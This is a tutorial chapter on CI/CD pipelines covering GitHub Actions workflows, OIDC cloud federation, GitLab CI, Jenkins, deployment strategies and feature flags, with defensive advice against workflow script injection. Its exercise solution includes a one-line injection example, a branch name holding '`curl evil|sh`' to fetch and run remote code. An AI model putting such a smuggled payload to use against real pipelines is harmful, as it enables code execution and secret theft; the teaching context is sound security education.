CI/CD Pipelines
What you’ll learn. The principles that make pipelines trustworthy; GitHub Actions workflows from basic to production-grade (triggers, jobs, caching, matrix builds, artifacts, reusable workflows, environments and secrets, OIDC federation to a cloud); how GitLab CI and Jenkins differ; and deployment strategies (rolling, blue/green, canary) plus feature flags. Prerequisites: Git & Workflows and Shell Scripting.
Principles
Section titled “Principles”Continuous Integration (CI): every change is merged to the mainline frequently (at least daily) and each merge triggers an automated build and test. The point is not the server; it is the practice of integrating small changes continuously so that conflicts and breakage surface within minutes.
Continuous Delivery: every commit that passes the pipeline could be released to production at any time; releasing is a business decision (a button). Continuous Deployment removes the button: every passing change goes to production automatically.
Pipeline principles that matter more than any tool:
- Build once, promote the same artifact. Build one immutable artifact (container image identified by digest) and deploy that exact artifact to staging then production. Rebuilding per environment means you test something other than what you ship.
- Fast feedback. Target under 10 minutes for the PR check. Order cheap checks (lint, unit) before expensive ones (integration, e2e); parallelize; cache.
- Fail fast, deterministically. Flaky tests are bugs; quarantine and fix them, because a pipeline people re-run until green is a pipeline nobody trusts.
- The pipeline is code, versioned with the app, reviewed like code.
- Same commands locally and in CI (a
Makefileor task runner), so failures are reproducible. - Everything automated is auditable: who approved, what ran, which artifact went where.
- Rollback is a first-class path, tested, ideally the same mechanism as deploy (redeploy the previous artifact).
A typical staged pipeline:
commit -> [lint, unit tests] -> build image -> [integration tests, scan] -> push to registry (by digest) -> deploy staging -> smoke/e2e -> (approval) -> deploy prod (canary) -> verify SLOs -> promote / rollbackGitHub Actions in depth
Section titled “GitHub Actions in depth”GitHub Actions workflows are YAML files in .github/workflows/. Core concepts:
- Event (
on:) triggers a workflow. - A workflow has jobs; jobs run in parallel on separate runners (fresh VMs, or self-hosted) unless chained with
needs:. - A job has sequential steps: either
run:shell commands oruses:a reusable action. - Data moves between jobs via artifacts, outputs, or caches; the filesystem is not shared.
A solid CI workflow
Section titled “A solid CI workflow”name: ci
on: pull_request: push: branches: [main]
# cancel superseded runs on the same branch/PRconcurrency: group: ci-${{ github.workflow }}-${{ github.ref }} cancel-in-progress: true
# least privilege by default; widen per jobpermissions: contents: read
jobs: lint: runs-on: ubuntu-latest timeout-minutes: 10 steps: - uses: actions/checkout@v4 - uses: actions/setup-python@v5 with: python-version: "3.12" cache: pip # built-in dependency caching - run: pip install -r requirements-dev.txt - run: ruff check .
test: timeout-minutes: 20 strategy: fail-fast: false matrix: python: ["3.10", "3.11", "3.12"] os: [ubuntu-latest] include: - python: "3.12" os: macos-latest runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@v4 - uses: actions/setup-python@v5 with: python-version: ${{ matrix.python }} cache: pip - run: pip install -r requirements.txt -r requirements-dev.txt - run: pytest --junitxml=report.xml --cov=app - uses: actions/upload-artifact@v4 if: always() with: name: test-report-${{ matrix.os }}-${{ matrix.python }} path: report.xmlKey features used:
concurrencywithcancel-in-progresssaves minutes and avoids stale results.permissionsscopes the automaticGITHUB_TOKEN. Set a read-only default at the workflow level; grantpackages: write,id-token: write, and so on only to the jobs that need them. Treat this as mandatory.strategy.matrixfans out a job over combinations;include/excludetune it;fail-fast: falselets other cells finish so you see all failures.timeout-minutesbounds hung jobs (default is 6 hours, which is expensive).- Pin third-party actions to a full commit SHA for supply-chain safety (tags are mutable);
actions/*and well-known publishers are lower risk but SHA-pinning plus Dependabot updates is best practice (DevSecOps).
Caching
Section titled “Caching”Caches speed up dependency installs and builds. Language setup actions have cache: built in; the generic one is actions/cache:
- uses: actions/cache@v4 with: path: | ~/.npm node_modules/.cache key: npm-${{ runner.os }}-${{ hashFiles('**/package-lock.json') }} restore-keys: | npm-${{ runner.os }}-The key is an exact match; restore-keys are prefix fallbacks (restore a stale cache, then update it). Keying on the lockfile hash means the cache is rebuilt exactly when dependencies change. Caches are not guaranteed (evicted, size-limited, scoped by branch), so builds must succeed without them. Never cache secrets or anything a PR from a fork could poison for the main branch.
Docker layer caching in Actions: use docker/build-push-action with cache-from: type=gha and cache-to: type=gha,mode=max (BuildKit’s GitHub cache backend), or a registry cache. See Docker & Containers.
Artifacts versus caches versus outputs
Section titled “Artifacts versus caches versus outputs”| Mechanism | Purpose | Scope |
|---|---|---|
| Cache | Speed up repeated work; optional | Across runs |
| Artifact | Preserve files from a run (reports, binaries); pass files between jobs | Within/after a run |
| Job outputs | Pass small strings (version, image digest) to later jobs | Within a run |
jobs: build: runs-on: ubuntu-latest outputs: version: ${{ steps.ver.outputs.version }} steps: - uses: actions/checkout@v4 - id: ver run: echo "version=$(git describe --tags --always)" >> "$GITHUB_OUTPUT" deploy: needs: build runs-on: ubuntu-latest steps: - run: echo "deploying ${{ needs.build.outputs.version }}"Build, push, and deploy with environments
Section titled “Build, push, and deploy with environments”name: releaseon: push: branches: [main]
permissions: contents: read
jobs: build: runs-on: ubuntu-latest permissions: contents: read packages: write outputs: digest: ${{ steps.push.outputs.digest }} steps: - uses: actions/checkout@v4 - uses: docker/setup-buildx-action@v3 - uses: docker/login-action@v3 with: registry: ghcr.io username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - id: push uses: docker/build-push-action@v6 with: context: . push: true tags: ghcr.io/${{ github.repository }}:${{ github.sha }} cache-from: type=gha cache-to: type=gha,mode=max
deploy-staging: needs: build runs-on: ubuntu-latest environment: staging permissions: id-token: write # for OIDC contents: read steps: - uses: actions/checkout@v4 - uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::123456789012:role/gha-deploy-staging aws-region: eu-west-1 - run: ./scripts/deploy.sh staging "ghcr.io/${{ github.repository }}@${{ needs.build.outputs.digest }}"
deploy-prod: needs: deploy-staging runs-on: ubuntu-latest environment: production # protection rules: required reviewers, wait timer permissions: id-token: write contents: read steps: - uses: actions/checkout@v4 - uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::123456789012:role/gha-deploy-prod aws-region: eu-west-1 - run: ./scripts/deploy.sh production "ghcr.io/${{ github.repository }}@${{ needs.build.outputs.digest }}"Observe the principles: one build, deploy by digest (immutable) rather than tag, separate roles per environment.
Environments and secrets
Section titled “Environments and secrets”A GitHub environment (staging, production) can have protection rules (required reviewers, wait timers, branch restrictions) and its own secrets and variables. Secret scoping hierarchy: repository, environment, organization. Rules of thumb:
- Secrets are masked in logs but a malicious step can still exfiltrate them; never expose them to untrusted code.
pull_requestfrom forks gets no secrets (good).pull_request_targetruns in the base repository’s context with secrets; never check out and run untrusted PR code under it. This is a well-known source of real compromises.- Script injection:
run: echo "${{ github.event.pull_request.title }}"interpolates attacker-controlled text into a shell. Pass untrusted values throughenv:and reference them as shell variables.
- name: Safe handling of untrusted input env: TITLE: ${{ github.event.pull_request.title }} run: echo "PR title: $TITLE"OIDC to the cloud (no long-lived keys)
Section titled “OIDC to the cloud (no long-lived keys)”Storing a cloud access key as a repository secret creates a permanent credential that can leak. Instead, GitHub issues each job a short-lived OIDC JWT (needs permissions: id-token: write) with claims such as sub: repo:org/repo:environment:production. The cloud provider trusts GitHub as an identity provider and exchanges the token for temporary credentials, constrained by claims.
Job --(request OIDC token)--> GitHub OIDC issuerJob --(token)--> Cloud STS (AWS/GCP/Azure) --(validates signature + sub/aud claims)--> short-lived credentialsAWS trust policy (the important part is the sub condition):
{ "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Principal": {"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"}, "Action": "sts:AssumeRoleWithWebIdentity", "Condition": { "StringEquals": { "token.actions.githubusercontent.com:aud": "sts.amazonaws.com", "token.actions.githubusercontent.com:sub": "repo:myorg/myrepo:environment:production" } } }]}Without a tight sub condition, any repository’s workflow could assume the role. GCP (Workload Identity Federation) and Azure (federated credentials) work analogously. See Cloud Fundamentals for the IAM concepts.
Reusable workflows and composite actions
Section titled “Reusable workflows and composite actions”Avoid copy-pasting pipelines. A reusable workflow is called from others:
# .github/workflows/deploy.yml (callee)on: workflow_call: inputs: environment: {type: string, required: true} secrets: SLACK_WEBHOOK: {required: false}jobs: deploy: runs-on: ubuntu-latest environment: ${{ inputs.environment }} steps: - run: echo "deploying to ${{ inputs.environment }}"# callerjobs: prod: uses: ./.github/workflows/deploy.yml with: {environment: production} secrets: inheritComposite actions bundle steps into one uses: step. Platform teams publish org-wide reusable workflows as the “golden path” pipeline (DevOps Culture).
Other triggers worth knowing
Section titled “Other triggers worth knowing”workflow_dispatch (manual, with inputs), schedule (cron, UTC; useful for nightly scans), release, workflow_run, paths:/paths-ignore: filters for monorepos, merge_group for merge queues.
Self-hosted runners
Section titled “Self-hosted runners”Use them for private network access, special hardware (GPUs; see MLOps), or cost at scale. Risks: persistent state between jobs and untrusted code on your network. Prefer ephemeral runners (one job per fresh VM/pod, e.g., actions-runner-controller on Kubernetes) and never attach them to public repos that accept fork PRs.
GitLab CI and Jenkins
Section titled “GitLab CI and Jenkins”GitLab CI is defined in a single .gitlab-ci.yml, with stages and jobs, built into the GitLab platform.
stages: [test, build, deploy]
default: image: python:3.12
test: stage: test cache: key: files: [requirements.txt] paths: [.cache/pip] script: - pip install -r requirements.txt - pytest
deploy-prod: stage: deploy environment: production rules: - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH when: manual script: ./deploy.shJenkins is the long-standing self-hosted automation server, configured with a Jenkinsfile (Groovy-based pipelines), extensible with a huge plugin ecosystem, and agents you manage.
pipeline { agent { docker { image 'python:3.12' } } stages { stage('Test') { steps { sh 'pip install -r requirements.txt && pytest' } } stage('Deploy') { when { branch 'main' } steps { input 'Deploy to prod?'; sh './deploy.sh' } } }}| GitHub Actions | GitLab CI | Jenkins | |
|---|---|---|---|
| Hosting | SaaS (+ self-hosted runners) | SaaS or self-managed | Self-hosted only |
| Config | YAML workflows, marketplace actions | One YAML file, includes/templates | Groovy Jenkinsfile, plugins |
| Strength | Ecosystem, tight GitHub integration | All-in-one DevOps platform (registry, security scans, environments) | Maximum flexibility, legacy and on-prem estates |
| Weakness | Marketplace supply-chain risk, YAML sprawl | Tied to GitLab | Plugin maintenance, operating the controller, security patching |
Others: CircleCI, Buildkite (hybrid: SaaS control plane, your agents), Azure Pipelines, Tekton and Argo Workflows (Kubernetes-native), Dagger (pipelines as code in real languages, runnable locally). The ideas transfer; syntax is the least important part. Choose the system that sits next to your source and identity provider unless you have a reason not to.
Deployment strategies
Section titled “Deployment strategies”How a new version replaces the old one determines blast radius and rollback speed.
Recreate: stop old, start new. Simple, has downtime. Fine for batch jobs and dev.
Rolling update: replace instances gradually (e.g., 25% at a time), health-checking each batch. Default in Kubernetes (Deployments). No extra capacity needed (or small surge), but old and new versions run side by side, so the app and database schema must tolerate both. Rollback is another rolling update.
Blue/green: run two full environments. Blue serves traffic; deploy to idle green, test it, then switch the router/load balancer. Rollback is flipping back, near-instant. Costs double capacity during the switch; the database remains shared, so schema changes must be backward compatible (expand/contract pattern).
+-------------+ +-----------+users -> | Load | ----> | BLUE v1 | (live) | balancer | - - > | GREEN v2 | (idle, tested) <-- flip pointer +-------------+ +-----------+Canary: send a small fraction of traffic (1%, 5%, 25%…) to the new version, compare its metrics (error rate, latency, business KPIs) to the baseline, and promote or abort automatically. It limits the blast radius with real production traffic. Requires good observability (Observability) and traffic splitting (service mesh, ingress, or Argo Rollouts / Flagger; see Kubernetes in Production).
Shadow / mirror: copy production traffic to the new version without returning its responses. Safe test with real inputs; careful with side effects.
A/B testing is canary’s cousin for product experiments: split by user cohort rather than by random request.
| Strategy | Downtime | Extra capacity | Rollback speed | Complexity |
|---|---|---|---|---|
| Recreate | Yes | None | Slow | Lowest |
| Rolling | No | Low | Medium | Low |
| Blue/green | No | 2x | Instant | Medium |
| Canary | No | Low | Fast | High |
Database changes: expand and contract
Section titled “Database changes: expand and contract”Because old and new code overlap during any zero-downtime deploy, schema changes must be staged: (1) expand: add the new column/table, code writes both; (2) migrate/backfill data; (3) deploy code reading the new structure; (4) contract: drop the old column in a later release. Never rename or drop a column in the same release that stops using it.
Feature flags
Section titled “Feature flags”Feature flags decouple deploy (code in production) from release (users see it). They enable trunk-based development (unfinished work merged but dark), gradual rollout by percentage or cohort, instant kill switches, and experimentation.
# minimal flag check with a deterministic percentage rolloutimport hashlib
def enabled(flag: str, user_id: str, percent: int) -> bool: h = int(hashlib.sha256(f"{flag}:{user_id}".encode()).hexdigest(), 16) return (h % 100) < percentHashing the user ID gives sticky assignment (the same user always sees the same variant). Use a real system (LaunchDarkly, Unleash, Flagsmith, OpenFeature as the vendor-neutral API) for targeting and audit. Flag types: release flags (short-lived), ops flags (kill switches), experiment flags, permission flags. Flags are debt: each is a conditional doubling test paths; delete release flags after rollout, track owners and expiry dates.
Pipeline anti-patterns
Section titled “Pipeline anti-patterns”- Rebuilding artifacts per environment; deploying a mutable
latesttag. - Long-lived cloud keys in secrets instead of OIDC.
- Manual steps hidden in a wiki (“then SSH in and…”).
- Tests that need a shared mutable staging database; use ephemeral environments (per-PR preview) and containers for dependencies.
- A 45-minute pipeline nobody waits for: parallelize, shard tests, cache, and move slow suites out of the PR path to a post-merge or nightly stage with clear ownership.
- Ignoring failed deploys: define automatic rollback criteria and test the rollback path regularly.
Key takeaways
Section titled “Key takeaways”- Build once, deploy the same immutable artifact (by digest) through environments; keep PR feedback under about 10 minutes.
- In GitHub Actions: least-privilege
permissions,concurrencycancellation, lockfile-keyed caching, matrix builds, SHA-pinned actions, and environments with protection rules. - Prefer OIDC federation with tightly scoped
subconditions over stored cloud keys; never run untrusted PR code with secrets. - Rolling, blue/green, and canary trade capacity, rollback speed, and complexity; all depend on backward-compatible database changes (expand/contract).
- Feature flags separate deployment from release but must be pruned.
- The skills transfer across GitHub Actions, GitLab CI, and Jenkins; the principles matter more than syntax.
Exercises
Section titled “Exercises”- Hands-on. Write a workflow that lints, tests on a 3-version matrix, caches dependencies, and uploads the coverage report as an artifact. Measure the run time with and without cache.
- Security. Find the injection bug:
run: git checkout ${{ github.head_ref }}. Fix it. - Hands-on. Configure OIDC from a GitHub repo to a cloud account (or an emulation) and show that the workflow has no stored secrets. What happens if you change the
subcondition to a different repo? - Conceptual. A deploy adds a
NOT NULLcolumn and the new code requires it. Explain why a rolling deploy can fail and write the expand/contract sequence. - Design. Define canary success criteria (metrics, thresholds, duration) for a checkout service, and what triggers automatic rollback.
Solutions (2, 4)
- A branch name is attacker-controlled and can contain shell metacharacters, e.g.
`curl evil|sh`via command substitution in names allowed by Git. Pass via env:env: BRANCH: ${{ github.head_ref }}thengit checkout "$BRANCH"(and--before the ref where applicable). - During the rollout old pods insert rows without the column value, violating
NOT NULL; or new pods read a column that does not yet exist if the migration lags. Sequence: add the column as nullable (or with default); deploy code that writes it; backfill; add the constraint once all writers comply; later remove the legacy path.
Further reading
Section titled “Further reading”- Jez Humble and David Farley, Continuous Delivery (2010).
- Nicole Forsgren, Jez Humble, Gene Kim, Accelerate (2018).
- GitHub Actions documentation, especially “Security hardening for GitHub Actions” and “About security hardening with OpenID Connect”.
- Martin Fowler’s articles “Continuous Integration”, “BlueGreenDeployment”, “CanaryRelease”, and “FeatureToggle” (Pete Hodgson).
- Argo Rollouts and Flagger documentation for progressive delivery.